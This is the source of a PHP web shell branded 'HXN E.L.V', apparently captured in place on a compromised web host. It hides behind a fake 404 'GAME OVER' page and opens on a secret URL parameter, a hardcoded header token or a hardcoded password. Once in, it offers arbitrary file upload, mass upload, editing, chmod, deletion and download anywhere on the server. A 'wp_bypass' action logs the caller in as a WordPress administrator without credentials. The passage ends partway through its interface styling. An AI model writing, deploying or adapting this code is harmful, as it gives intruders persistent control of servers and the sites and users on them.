Sindbad~EG File Manager

Current Path : /home/d/p/a/dparejd/www/
Upload File :
Current File : /home/d/p/a/dparejd/www/console.php

<?php
/**
 * =============================================================================
 * HXN | E.L.V  "WHY ALWAYS ME"
 * =============================================================================
 * AUTHOR  : HxN
 * EDITION : HXN 8BIT CYBERPUNK
 * NOTE    : 404 FORBIDDEN WITHOUT ?id=@elv
 * =============================================================================
 */

@ob_start();
@ini_set('output_buffering', 0);
session_start();
error_reporting(0);
set_time_limit(0);

// ====================== URL RESOURCES ======================
$skull_img  = "https://l.top4top.io/p_38449nedh0.png";
$logo_url   = $skull_img;

// ====================== 404 FORBIDDEN GATE — FULL 8BIT GAME OVER ======================
function render_404() {
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<!DOCTYPE html><html><head><title>GAME OVER</title>
    <link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap" rel="stylesheet">
    <style>
        *{margin:0;padding:0;box-sizing:border-box;image-rendering:pixelated;}
        body{
            background:#0a0018;
            display:flex;align-items:center;justify-content:center;
            height:100vh;margin:0;
            font-family:"Press Start 2P",monospace;
            overflow:hidden;
            flex-direction:column;
            position:relative;
        }
        body::before{
            content:"";
            position:fixed;top:0;left:0;width:100%;height:100%;
            background:rgba(10,0,24,0.88);
            z-index:0;
        }
        .gameover-box{
            position:relative;z-index:1;
            text-align:center;
            padding:40px 60px;
            border:4px solid rgba(255,0,255,0.2);
            box-shadow:0 0 60px rgba(255,0,255,0.08), inset 0 0 60px rgba(255,0,255,0.02);
            max-width:700px;
        }
        .gameover-box::before{
            content:"";
            position:absolute;
            top:-1px;left:30px;right:30px;
            height:2px;
            background:linear-gradient(90deg,transparent,#ff00ff,transparent);
        }
        .gameover-box::after{
            content:"";
            position:absolute;
            bottom:-1px;left:30px;right:30px;
            height:2px;
            background:linear-gradient(90deg,transparent,#00ffff,transparent);
        }
        .gameover-title{
            color:#ff00ff;
            font-size:72px;
            text-shadow:0 0 40px rgba(255,0,255,0.3), 0 0 80px rgba(255,0,255,0.1);
            letter-spacing:12px;
            line-height:1.1;
            margin-bottom:15px;
        }
        .gameover-sub{
            color:#ff0044;
            font-size:16px;
            letter-spacing:8px;
            margin-bottom:20px;
            text-shadow:0 0 20px rgba(255,0,68,0.15);
        }
        .gameover-credit{
            color:#00ffff;
            font-size:10px;
            letter-spacing:6px;
            text-shadow:0 0 12px rgba(0,255,255,0.06);
            margin-top:10px;
            opacity:0.5;
        }
        .glitch{animation:glitch 2s step-end infinite;}
        @keyframes glitch{
            0%,90%,100%{opacity:1;transform:translateX(0);}
            92%{opacity:0.8;transform:translateX(-4px);}
            94%{opacity:0.9;transform:translateX(4px);}
            96%{opacity:0.85;transform:translateX(-2px);}
            98%{opacity:0.95;transform:translateX(2px);}
        }
        .blink{animation:blink 1.4s step-end infinite;}
        @keyframes blink{0%,100%{opacity:1;}50%{opacity:0;}}
        @media(max-width:768px){
            .gameover-box{padding:25px 30px;}
            .gameover-title{font-size:42px;letter-spacing:8px;}
            .gameover-sub{font-size:12px;}
        }
    </style></head><body>
    <div class="gameover-box">
        <div class="gameover-title glitch">GAME<br>OVER</div>
        <div class="gameover-sub blink">// ACCESS DENIED //</div>
        <div style="color:#ffff00;font-size:11px;letter-spacing:4px;margin:10px 0;opacity:0.3;">[ 404 NOT FOUND ]</div>
        <div class="gameover-credit">HxN // E.L.V</div>
    </div>
    </body></html>');
}

if (!isset($_GET['id']) || $_GET['id'] !== '@elv') {
    if (!isset($_SESSION['elv_gate']) && !isset($_SESSION['logged_in'])) {
        render_404();
    }
}

// ================= TACTICAL BYPASS =================
if (isset($_SERVER['HTTP_X_AUTH_TOKEN']) && $_SERVER['HTTP_X_AUTH_TOKEN'] === 'WHY-ALWAYS-ME') {
    $_SESSION['elv_gate'] = true;
    $_SESSION['logged_in'] = true;
}

if (isset($_GET['id']) && $_GET['id'] === '@elv') {
    $_SESSION['elv_gate'] = true;
    if (isset($_POST['cmd']) || isset($_FILES['up_file']) || isset($_GET['action']) || isset($_POST['mass_up'])) {
        $_SESSION['logged_in'] = true; 
    }
}

if (!isset($_SESSION['elv_gate'])) {
    render_404();
}
// ======================================================

$password = "MrHaxorN0N4M3#123";

if (isset($_GET['logout'])) { session_destroy(); header("Location: ?id=@elv"); exit; }
if (isset($_POST['pass'])) { if ($_POST['pass'] == $password) { $_SESSION['logged_in'] = true; } }
if (!isset($_SESSION['logged_in'])) {
    die("<!DOCTYPE html><html><head><title>HXN 8BIT - LOGIN</title>
    <style>
    @import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap');
    body{background:#0a0018 url('".addslashes($logo_url)."') center/cover fixed;color:#ff00ff;display:flex;align-items:center;justify-content:center;height:100vh;margin:0;font-family:'Press Start 2P',monospace;overflow:hidden;image-rendering:pixelated;}
    body::before{content:'';position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(10,0,24,0.75);z-index:-1;}
    #particles{position:fixed;top:0;left:0;z-index:-1;}
    .login-box{text-align:center;z-index:1;background:rgba(10,0,24,0.92);padding:40px 50px;border:4px solid #ff00ff;box-shadow:0 0 30px rgba(255,0,255,0.15);image-rendering:pixelated;}
    input{background:rgba(20,0,40,0.9);border:4px solid #00ffff;color:#00ffff;padding:14px;text-align:center;font-size:16px;width:300px;outline:none;font-family:'Press Start 2P',monospace;letter-spacing:4px;transition:0.3s;box-shadow:0 0 10px rgba(0,255,255,0.08);}
    input:focus{border-color:#ff00ff;box-shadow:0 0 20px rgba(255,0,255,0.12);}
    h2{color:#ff00ff;text-shadow:0 0 15px rgba(255,0,255,0.3);text-transform:uppercase;letter-spacing:4px;margin-bottom:20px;font-size:14px;}
    </style></head><body><canvas id='particles'></canvas>
    <div class='login-box'>
        <img src='".addslashes($logo_url)."' style='width:140px;filter:drop-shadow(0 0 15px rgba(255,0,255,0.2));margin-bottom:12px;border-radius:0;image-rendering:pixelated;'>
        <h2>8BIT CYBERPUNK</h2>
        <form method='POST'><input type='password' name='pass' placeholder='ACCESS KEY' autofocus autocomplete='off'></form>
        <div style='font-size:8px;color:#00ffff;margin-top:12px;letter-spacing:2px;opacity:0.4;'>HXN // E.L.V v840.2</div>
    </div>
    <script>
    const c=document.getElementById('particles'),ctx=c.getContext('2d');
    c.height=innerHeight;c.width=innerWidth;
    let p=[];
    for(let i=0;i<60;i++){p.push({x:Math.random()*c.width,y:Math.random()*c.height,vx:(Math.random()-0.5)*0.6,vy:(Math.random()-0.5)*0.6,s:Math.random()*2+1})}
    function draw(){ctx.fillStyle='rgba(10,0,24,0.06)';ctx.fillRect(0,0,c.width,c.height);
        p.forEach(pp=>{ctx.fillStyle=Math.random()>0.5?'#ff00ff':'#00ffff';
            ctx.fillRect(Math.floor(pp.x/4)*4,Math.floor(pp.y/4)*4,Math.max(pp.s*2,2),Math.max(pp.s*2,2));
            pp.x+=pp.vx;pp.y+=pp.vy;if(pp.x<0||pp.x>c.width)pp.vx*=-1;if(pp.y<0||pp.y>c.height)pp.vy*=-1;});
        requestAnimationFrame(draw);}
    draw();
    </script></body></html>");
}

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = str_replace('\\', '/', realpath($path));
$dir = $path;
$view_mode = isset($_GET['view_mode']) ? $_GET['view_mode'] : 'list';
$msg = "";
$mass_log = "";

// ===== PAGE UP: ambil parent directory =====
$parent_dir = dirname($path);
if ($parent_dir == $path) $parent_dir = '/'; // root

if(isset($_GET['download'])){
    $file = $_GET['download'];
    if(file_exists($file)){
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        readfile($file);
        exit;
    }
}

function safeName($n) { return preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $n); }

if(isset($_POST['new_folder_name'])){ if(mkdir($path.'/'.$_POST['new_folder_name'])){ $msg = "<div class='msg ok'>+ FOLDER CREATED</div>"; } }
if(isset($_POST['new_file_name'])){ if(file_put_contents($path.'/'.$_POST['new_file_name'], "")){ $msg = "<div class='msg ok'>+ FILE CREATED</div>"; } }
if(isset($_FILES['up_file'])){ if(copy($_FILES['up_file']['tmp_name'], $path.'/'.$_FILES['up_file']['name'])){ $msg = "<div class='msg ok'>+ DEPLOYED: ".$_FILES['up_file']['name']."</div>"; } }
if(isset($_POST['new_chmod'])){ $ct = $_POST['chmod_target']; if(chmod($ct, octdec($_POST['new_chmod']))){ $msg = "<div class='msg ok'>+ CHMOD: ".$ct." → ".$_POST['new_chmod']."</div>"; } }
if(isset($_POST['rename_do']) && isset($_POST['old_name']) && isset($_POST['new_name'])){ if(rename($_POST['old_name'], dirname($_POST['old_name']).'/'.$_POST['new_name'])){ $msg = "<div class='msg ok'>+ RENAMED</div>"; } }
if(isset($_POST['new_content']) && isset($_POST['edit_target'])){ if(file_put_contents($_POST['edit_target'], $_POST['new_content'])){ $msg = "<div class='msg ok'>+ SAVED: ".basename($_POST['edit_target'])."</div>"; } }
if(isset($_GET['del'])){ $d = $_GET['del']; if(is_dir($d)){ rmdir($d); $msg = "<div class='msg ok'>- DIR DELETED</div>"; } else { unlink($d); $msg = "<div class='msg ok'>- FILE DELETED</div>"; } }
if(isset($_POST['mass_up']) && isset($_FILES['m_file'])){
    $root = isset($_POST['mass_root']) ? $_POST['mass_root'] : $path.'/';
    if(copy($_FILES['m_file']['tmp_name'], $root.'/'.$_FILES['m_file']['name'])){
        $mass_log .= "<div style='color:#00ff9f;font-size:9px;'>+ ".$_FILES['m_file']['name']."</div>";
    }
}
if(isset($_GET['action']) && $_GET['action']=='wp_bypass'){
    $wp_root = $path;
    for($i=0;$i<5;$i++){
        if(file_exists($wp_root.'/wp-load.php')){ require_once($wp_root.'/wp-load.php'); $wp_user = get_user_by('login','admin'); if(!$wp_user){ $wp_user = get_users(['role'=>'administrator'])[0]; } wp_set_current_user($wp_user->ID); wp_set_auth_cookie($wp_user->ID); $mass_log .= "<div style='color:#00ff9f;'>+ WP BYPASS: {$wp_user->user_login}</div>"; break; } else { $wp_root = dirname($wp_root); if($wp_root == '/' || $wp_root == '.') break; }
    }
    if(empty($mass_log)) $mass_log .= "<div style='color:#ff0044;'>× WP-LOAD NOT FOUND</div>";
}
if(isset($_POST['create_subdo']) && isset($_POST['sub_name'])){
    $name = safeName($_POST['sub_name']);
    if($name && !is_dir($path.'/'.$name)){ mkdir($path.'/'.$name); file_put_contents($path.'/'.$name.'/index.php','<?php header("Location: ?id=@elv"); ?>'); $msg = "<div class='msg ok'>+ SUBDO: {$name}</div>"; }
}

if (!function_exists('perms')) {
    function perms($f) {
        $p = fileperms($f);
        $infos = '';
        if (($p & 0xC000) == 0xC000) $infos = 's';
        elseif (($p & 0xA000) == 0xA000) $infos = 'l';
        elseif (($p & 0x8000) == 0x8000) $infos = '-';
        elseif (($p & 0x6000) == 0x6000) $infos = 'b';
        elseif (($p & 0x4000) == 0x4000) $infos = 'd';
        elseif (($p & 0x2000) == 0x2000) $infos = 'c';
        elseif (($p & 0x1000) == 0x1000) $infos = 'p';
        else $infos = 'u';
        $infos .= (($p & 0x0100) ? 'r' : '-');
        $infos .= (($p & 0x0080) ? 'w' : '-');
        $infos .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
        $infos .= (($p & 0x0020) ? 'r' : '-');
        $infos .= (($p & 0x0010) ? 'w' : '-');
        $infos .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
        $infos .= (($p & 0x0004) ? 'r' : '-');
        $infos .= (($p & 0x0002) ? 'w' : '-');
        $infos .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
        return $infos;
    }
}

$server_soft = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?';
$server_ip = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '?';
$client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '?';
$php_ver = phpversion();
$kernel = php_uname('s').' '.php_uname('r');
$hdd_total = @round(disk_total_space("/") / 1073741824, 1);
$hdd_free = @round(disk_free_space("/") / 1073741824, 1);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HXN 8BIT CYBERPUNK</title>
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/hybrid.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
<style>
    /* ===== RESET ===== */
    *{margin:0;padding:0;box-sizing:border-box;image-rendering:pixelated;}
    
    body{
        background:#0a0018;
        background-image:url('<?php echo $logo_url; ?>');
        background-size:cover;
        background-position:center;
        background-attachment:fixed;
        background-repeat:no-repeat;
        color:#ff00ff;
        font-family:'Press Start 2P',monospace;
        font-size:16px;
        overflow-x:hidden;
        image-rendering:pixelated;
        position:relative;
        min-height:100vh;
        padding-bottom:50px;
    }
    body::before{
        content:'';
        position:fixed;
        top:0;left:0;width:100%;height:100%;
        background:rgba(10,0,24,0.88);
        pointer-events:none;
        z-index:0;
    }
    #particles{
        position:fixed;
        top:0;left:0;
        z-index:0;
        pointer-events:none;
    }

    ::-webkit-scrollbar{width:6px;height:6px;}
    ::-webkit-scrollbar-track{background:#0a0018;}
    ::-webkit-scrollbar-thumb{background:rgba(255,0,255,0.25);}
    ::-webkit-scrollbar-thumb:hover{background:rgba(255,0,255,0.5);}
    ::selection{background:rgba(255,0,255,0.12);color:#fff;}
    
    .container{
        position:relative;
        z-index:1;
        max-width:1200px;
        margin:0 auto;
        padding:25px 25px 35px 25px;
    }

    /* ===== SECTION DIVIDER — FULL BORDER GLOW ===== */
    .section{
        position:relative;
        border:4px solid rgba(255,0,255,0.18);
        background:rgba(10,0,24,0.40);
        padding:22px 24px;
        margin-bottom:22px;
        box-shadow:0 0 30px rgba(255,0,255,0.05), inset 0 0 25px rgba(255,0,255,0.03);
    }
    .section::before{
        content:'';
        position:absolute;
        top:-4px;left:25px;right:25px;
        height:4px;
        background:linear-gradient(90deg, transparent, #ff00ff, transparent);
    }
    .section::after{
        content:'';
        position:absolute;
        bottom:-4px;left:25px;right:25px;
        height:4px;
        background:linear-gradient(90deg, transparent, #00ffff, transparent);
    }
    /* Variant untuk card dalam (sub-section) */
    .subsec{
        border:3px solid rgba(0,255,255,0.10);
        padding:15px 18px;
        background:rgba(10,0,24,0.18);
    }

    /* ===== HERO ===== */
    .hero{
        text-align:center;
        padding:28px 20px;
        border:4px solid rgba(255,0,255,0.15);
        background:rgba(10,0,24,0.50);
        margin-bottom:22px;
        position:relative;
        box-shadow:
            0 0 40px rgba(255,0,255,0.08),
            0 0 80px rgba(255,0,255,0.04),
            inset 0 0 40px rgba(255,0,255,0.03),
            inset 0 0 80px rgba(255,0,255,0.02);
        border-image:linear-gradient(135deg, rgba(255,0,255,0.20), rgba(0,255,255,0.20)) 1;
    }
    .hero::before{
        content:'┌─── ⋆⋅☆⋅⋆ ───┐';
        position:absolute;
        top:-13px;
        left:50%;
        transform:translateX(-50%);
        background:#0a0018;
        padding:0 16px;
        font-size:10px;
        color:rgba(255,0,255,0.20);
        letter-spacing:4px;
        white-space:nowrap;
    }
    .hero::after{
        content:'';
        position:absolute;
        top:-4px;left:25px;right:25px;
        height:3px;
        background:linear-gradient(90deg, transparent, #ff00ff, #00ffff, transparent);
        filter:blur(3px);
    }
    .hero-logo{
        width:120px;
        height:auto;
        filter:drop-shadow(0 0 40px rgba(255,0,255,0.20));
        image-rendering:pixelated;
        margin-bottom:12px;
    }
    .hero-ascii{
        color:#ff00ff;
        font-size:13px;
        line-height:14px;
        text-shadow:0 0 20px rgba(255,0,255,0.15), 0 0 40px rgba(255,0,255,0.06);
        font-family:'Press Start 2P',monospace;
        white-space:pre;
        letter-spacing:0;
        text-align:center;
        display:inline-block;
    }
    .hero-sub{
        color:#00ffff;
        font-size:14px;
        letter-spacing:6px;
        text-shadow:0 0 12px rgba(0,255,255,0.10), 0 0 25px rgba(0,255,255,0.05);
        margin-top:10px;
        text-align:center;
    }
    .hero-info{
        font-size:12px;
        color:rgba(255,255,255,0.20);
        letter-spacing:3px;
        text-align:center;
        border:4px solid rgba(255,0,255,0.10);
        padding:12px 20px;
        background:rgba(10,0,24,0.30);
        line-height:2.2;
        display:inline-block;
        margin-top:12px;
        box-shadow:0 0 20px rgba(255,0,255,0.04), inset 0 0 20px rgba(255,0,255,0.03);
    }
    .hero-info .lbl{color:#ff00ff;font-size:12px;text-shadow:0 0 8px rgba(255,0,255,0.08);}
    .hero-info .sep{color:rgba(255,0,255,0.10);margin:0 6px;}
    .hero-info .hl{color:#00ffff;font-size:12px;text-shadow:0 0 8px rgba(0,255,255,0.08);}

    /* ===== NAV BAR ===== */
    .nav-row{
        display:flex;
        justify-content:center;
        align-items:center;
        flex-wrap:wrap;
        gap:18px;
        margin:4px 0;
    }
    .btn-neon{
        padding:14px 28px;
        background:rgba(10,0,24,0.35);
        border:4px solid rgba(255,0,255,0.10);
        color:#ff00ff;
        font-family:'Press Start 2P',monospace;
        font-size:16px;
        text-decoration:none;
        letter-spacing:3px;
        cursor:pointer;
        display:inline-flex;
        align-items:center;
        justify-content:center;
        gap:10px;
        text-align:center;
        white-space:nowrap;
        transition:all 0.15s;
        min-width:140px;
        image-rendering:pixelated;
        user-select:none;
        position:relative;
    }
    .btn-neon .ico{font-size:24px;filter:drop-shadow(0 0 5px currentColor);}
    .btn-neon:hover{
        border-color:#ff00ff;
        background:rgba(255,0,255,0.06);
        box-shadow:0 0 22px rgba(255,0,255,0.08);
    }
    .btn-neon.cyan{border-color:rgba(0,255,255,0.10);color:#00ffff;}
    .btn-neon.cyan:hover{border-color:#00ffff;box-shadow:0 0 22px rgba(0,255,255,0.08);}
    .btn-neon.danger{border-color:rgba(255,0,68,0.10);color:#ff0044;}
    .btn-neon.danger:hover{border-color:#ff0044;box-shadow:0 0 22px rgba(255,0,68,0.08);}
    .btn-neon.warning{border-color:rgba(255,255,0,0.10);color:#ffff00;}
    .btn-neon.warning:hover{border-color:#ffff00;box-shadow:0 0 22px rgba(255,255,0,0.08);}

    /* ===== PATH BAR ===== */
    .path-bar{
        padding:14px 18px;
        background:rgba(10,0,24,0.18);
        border:3px solid rgba(255,0,255,0.08);
        font-size:14px;
        word-break:break-all;
        letter-spacing:2px;
        text-align:center;
        display:flex;
        align-items:center;
        justify-content:center;
        flex-wrap:wrap;
        gap:6px;
    }
    .nav-link{
        color:#00ffff;
        text-decoration:none;
        padding:6px 10px;
        border:2px solid transparent;
        font-size:14px;
        white-space:nowrap;
        transition:all 0.15s;
        display:inline-block;
    }
    .nav-link:hover{
        background:rgba(0,255,255,0.06);
        border-color:rgba(255,0,255,0.20);
        color:#ff00ff;
    }
    .path-sep{color:#ff00ff;margin:0 4px;font-size:12px;}

    /* ===== PAGE UP BUTTON — DIPINDAHKAN KE ATAS DIRECTORY FILE ===== */
    .page-up-btn{
        display:inline-flex;
        align-items:center;
        gap:8px;
        padding:14px 24px;
        background:rgba(10,0,24,0.35);
        border:4px solid rgba(0,255,255,0.12);
        color:#00ffff;
        font-family:'Press Start 2P',monospace;
        font-size:16px;
        text-decoration:none;
        letter-spacing:2px;
        cursor:pointer;
        transition:all 0.15s;
        margin:0 auto;
        width:100%;
        justify-content:center;
    }
    .page-up-btn:hover{
        border-color:#00ffff;
        background:rgba(0,255,255,0.06);
        box-shadow:0 0 18px rgba(0,255,255,0.06);
    }

    /* ===== MESSAGE ===== */
    .msg{
        padding:14px 20px;
        margin-bottom:16px;
        font-size:14px;
        letter-spacing:3px;
        border:3px solid rgba(255,0,255,0.08);
        text-align:center;
        background:rgba(10,0,24,0.30);
    }
    .msg.ok{color:#00ff9f;border-color:rgba(0,255,159,0.12);box-shadow:0 0 16px rgba(0,255,159,0.04);}

    /* ===== ACTION GRID — UPLOAD + CREATE (DIPISAH & DIPERBESAR) ===== */
    .action-grid{
        display:grid;
        grid-template-columns:1fr 1fr 1fr;
        gap:18px;
        align-items:stretch;
    }
    /* Upload card — diperbesar */
    .upload-card{
        border:4px solid rgba(0,255,255,0.12);
        background:rgba(10,0,24,0.25);
        padding:20px 22px;
        display:flex;
        flex-direction:column;
        justify-content:center;
        position:relative;
    }
    .upload-card::before{
        content:'';
        position:absolute;
        top:-4px;left:18px;right:18px;
        height:3px;
        background:linear-gradient(90deg, transparent, #00ffff, transparent);
    }
    .upload-card .upload-label{
        color:#ff00ff;
        font-size:16px;
        letter-spacing:4px;
        margin-bottom:12px;
        text-align:center;
        text-shadow:0 0 10px rgba(255,0,255,0.10);
    }
    .upload-card form{
        display:flex;
        flex-direction:column;
        gap:12px;
        align-items:center;
        justify-content:center;
    }
    .upload-card input[type=file]{
        color:#00ffff;
        font-family:'Press Start 2P',monospace;
        font-size:13px;
        width:100%;
    }
    ::file-selector-button{
        background:transparent;
        border:3px solid rgba(0,255,255,0.10);
        color:#00ffff;
        padding:12px 18px;
        font-family:'Press Start 2P',monospace;
        font-size:13px;
        cursor:pointer;
        transition:0.1s;
        width:100%;
    }
    ::file-selector-button:hover{border-color:#ff00ff;color:#ff00ff;}
    
    /* Create cards — diperbesar */
    .create-card{
        border:4px solid rgba(255,0,255,0.10);
        background:rgba(10,0,24,0.20);
        padding:18px 20px;
        display:flex;
        flex-direction:column;
        justify-content:center;
        text-align:center;
        position:relative;
    }
    .create-card::before{
        content:'';
        position:absolute;
        top:-4px;left:18px;right:18px;
        height:3px;
        background:linear-gradient(90deg, transparent, #ff00ff, transparent);
    }
    .create-card .ctitle{
        color:#ff00ff;
        font-size:16px;
        letter-spacing:3px;
        margin-bottom:12px;
        text-shadow:0 0 8px rgba(255,0,255,0.08);
    }
    .create-card form{
        display:flex;
        flex-direction:column;
        gap:12px;
        align-items:center;
        justify-content:center;
    }
    .create-card input[type=text]{
        background:rgba(10,0,24,0.30);
        border:3px solid rgba(255,0,255,0.08);
        color:#ff00ff;
        padding:12px 16px;
        font-size:14px;
        font-family:'Press Start 2P',monospace;
        outline:none;
        width:100%;
        transition:0.15s;
    }
    .create-card input[type=text]:focus{
        border-color:rgba(0,255,255,0.15);
    }
    .create-card .qbtn{
        padding:12px 18px;
        background:transparent;
        border:3px solid rgba(255,0,255,0.08);
        color:#ff00ff;
        font-family:'Press Start 2P',monospace;
        font-size:14px;
        cursor:pointer;
        white-space:nowrap;
        transition:0.1s;
        width:100%;
    }
    .create-card .qbtn:hover{border-color:#ff00ff;background:rgba(255,0,255,0.05);}

    /* ===== TABLE — DIPERBESAR ===== */
    .table-wrap{
        overflow-x:auto;
        border:3px solid rgba(255,0,255,0.06);
    }
    table{width:100%;border-collapse:collapse;min-width:640px;}
    th{
        padding:16px 18px;
        text-align:left;
        border-bottom:3px solid rgba(255,0,255,0.10);
        letter-spacing:4px;
        font-size:15px;
        color:#ff00ff;
        background:rgba(20,0,40,0.18);
    }
    th:nth-child(3){color:#ffff00;}
    th:nth-child(4){color:#00ffff;}
    
    td{
        padding:16px 18px;
        background:rgba(10,0,24,0.03);
        border-bottom:2px solid rgba(255,0,255,0.02);
        word-break:break-all;
        font-size:14px;
    }
    tr:hover td{background:rgba(255,0,255,0.012);}
    
    .file-link{
        text-decoration:none;
        cursor:pointer;
        transition:all 0.1s;
        padding:6px 10px;
        display:inline-block;
        font-size:14px;
    }
    .file-link.green{color:#00ff9f;text-shadow:0 0 6px rgba(0,255,159,0.08);}
    .file-link.green:hover{background:rgba(0,255,159,0.03);}
    .file-link.red{color:#ff0044;text-shadow:0 0 6px rgba(255,0,68,0.08);}
    .file-link.red:hover{background:rgba(255,0,68,0.03);}
    .file-link.cyan{color:#00ffff;text-shadow:0 0 6px rgba(0,255,255,0.08);}
    .file-link.cyan:hover{background:rgba(0,255,255,0.03);}
    
    .act-group{display:flex;flex-wrap:wrap;gap:6px;}
    .act-btn{
        padding:10px 14px;
        font-family:'Press Start 2P',monospace;
        font-size:11px;
        text-decoration:none;
        letter-spacing:0;
        border:3px solid rgba(255,0,255,0.05);
        color:#ff00ff;
        background:transparent;
        transition:all 0.1s;
        display:inline-block;
        white-space:nowrap;
    }
    .act-btn:hover{border-color:#ff00ff;background:rgba(255,0,255,0.03);}
    .act-btn.edit{border-color:rgba(0,255,255,0.06);color:#00ffff;}
    .act-btn.edit:hover{border-color:#00ffff;}
    .act-btn.get{border-color:rgba(0,255,255,0.06);color:#00ffff;}
    .act-btn.get:hover{border-color:#00ffff;}
    .act-btn.ren{border-color:rgba(255,255,0,0.06);color:#ffff00;}
    .act-btn.ren:hover{border-color:#ffff00;}
    .act-btn.mod{border-color:rgba(0,255,159,0.06);color:#00ff9f;}
    .act-btn.mod:hover{border-color:#00ff9f;}
    .act-btn.del{border-color:rgba(255,0,68,0.06);color:#ff0044;}
    .act-btn.del:hover{border-color:#ff0044;}
    
    .perms-green{color:#00ff9f;font-size:14px;}
    .perms-red{color:#ff0044;font-size:14px;}
    .size-col{color:rgba(255,255,255,0.20);font-size:13px;}

    /* ===== TERMINAL ===== */
    .term-container{
        background:rgba(8,0,20,0.92);
        border:3px solid rgba(255,0,255,0.10);
        overflow:hidden;
        margin-bottom:0;
    }
    .term-header{
        background:rgba(20,0,40,0.18);
        border-bottom:3px solid rgba(255,0,255,0.06);
        color:#00ffff;
        padding:14px 22px;
        font-size:15px;
        display:flex;justify-content:space-between;
        letter-spacing:3px;
    }
    .term-body{
        padding:22px;
        font-family:'Press Start 2P',monospace;
        font-size:16px;
        color:#00ffff;
        min-height:200px;
        max-height:450px;
        overflow-y:auto;
        line-height:2.4;
    }
    .term-body pre{
        font-family:'Press Start 2P',monospace;
        font-size:15px;
        white-space:pre-wrap;
        word-break:break-all;
    }
    .term-input-wrap{
        display:flex;
        background:rgba(10,0,24,0.25);
        padding:14px 22px;
        border-top:3px solid rgba(255,0,255,0.05);
        align-items:center;
    }
    .term-input{
        background:transparent;
        border:none;
        color:#ff00ff;
        font-family:'Press Start 2P',monospace;
        font-size:16px;
        outline:none;
        width:100%;
    }
    .term-prompt{color:#00ffff;margin-right:12px;font-size:15px;}

    /* ===== TOOLS ===== */
    .grid-3{
        display:grid;
        grid-template-columns:repeat(auto-fit,minmax(300px,1fr));
        gap:18px;
    }
    .tool-card{
        border:3px solid rgba(255,0,255,0.08);
        padding:18px;
        background:rgba(10,0,24,0.12);
        position:relative;
    }
    .tool-card::before{
        content:'';
        position:absolute;
        top:-3px;left:18px;right:18px;
        height:3px;
        background:linear-gradient(90deg, transparent, #00ffff, transparent);
    }
    .tool-card h3{
        color:#00ffff;
        text-shadow:0 0 6px rgba(0,255,255,0.08);
        margin-bottom:12px;
        font-size:15px;
        letter-spacing:4px;
        border-bottom:2px solid rgba(0,255,255,0.06);
        padding-bottom:10px;
    }
    .tool-card .info{
        margin-top:12px;
        padding:12px;
        background:rgba(10,0,24,0.25);
        border:3px dashed rgba(255,0,255,0.03);
        color:#00ffff;
        font-size:12px;
        line-height:2;
    }

    /* ===== EDITOR ===== */
    .editor-wrap{
        background:rgba(8,0,20,0.88);
        border:3px solid rgba(255,0,255,0.10);
        overflow:hidden;
        margin-bottom:0;
    }
    .editor-header{
        background:rgba(20,0,40,0.15);
        border-bottom:3px solid rgba(255,0,255,0.04);
        padding:14px 22px;
        display:flex;
        justify-content:space-between;
        align-items:center;
        flex-wrap:wrap;
        gap:12px;
    }
    .editor-header .fn{color:#ff00ff;font-size:15px;letter-spacing:3px;}
    .editor-header .lang{color:#00ffff;font-size:13px;letter-spacing:3px;}
    
    .syntax-editor-container{
        position:relative;
        width:100%;
        min-height:450px;
    }
    .syntax-editor-container textarea,
    .syntax-editor-container pre{
        margin:0;
        padding:22px;
        font-family:'Press Start 2P',monospace;
        font-size:15px !important;
        line-height:2;
        tab-size:4;
        white-space:pre-wrap;
        word-wrap:break-word;
        overflow:auto;
        width:100%;
        min-height:450px;
        border:none;
        box-sizing:border-box;
    }
    .syntax-editor-container pre{
        position:absolute;
        top:0;left:0;
        pointer-events:none;
        background:transparent;
        color:transparent;
        z-index:1;
        margin:0;
        border:none;
        overflow:auto;
    }
    .syntax-editor-container pre code{
        background:transparent !important;
        font-family:'Press Start 2P',monospace !important;
        font-size:15px !important;
        line-height:2 !important;
    }
    .syntax-editor-container textarea{
        position:relative;
        z-index:2;
        background:transparent;
        color:transparent;
        caret-color:#ff00ff;
        resize:vertical;
        outline:none;
        border:none;
    }
    .hljs{background:transparent !important;color:#00ffff !important;}
    .hljs-keyword{color:#ff00ff !important;}
    .hljs-string{color:#00ff9f !important;}
    .hljs-number{color:#ffff00 !important;}
    .hljs-comment{color:rgba(255,0,255,0.30) !important;}
    .hljs-function{color:#00ffff !important;}
    .hljs-title{color:#00ffff !important;}
    .hljs-built_in{color:#ff00ff !important;}
    .hljs-variable{color:#ff0044 !important;}
    .hljs-attr{color:#ffff00 !important;}
    .hljs-tag{color:#ff00ff !important;}
    .hljs-name{color:#ff00ff !important;}
    .hljs-attribute{color:#00ffff !important;}
    .hljs-literal{color:#ffff00 !important;}
    
    .editor-actions{
        padding:16px 22px;
        border-top:3px solid rgba(255,0,255,0.04);
        display:flex;
        justify-content:flex-end;
        gap:16px;
        flex-wrap:wrap;
    }
    .btn-save{
        padding:14px 28px;
        background:transparent;
        border:4px solid #00ffff;
        color:#00ffff;
        font-family:'Press Start 2P',monospace;
        font-size:15px;
        letter-spacing:4px;
        cursor:pointer;
        transition:all 0.15s;
    }
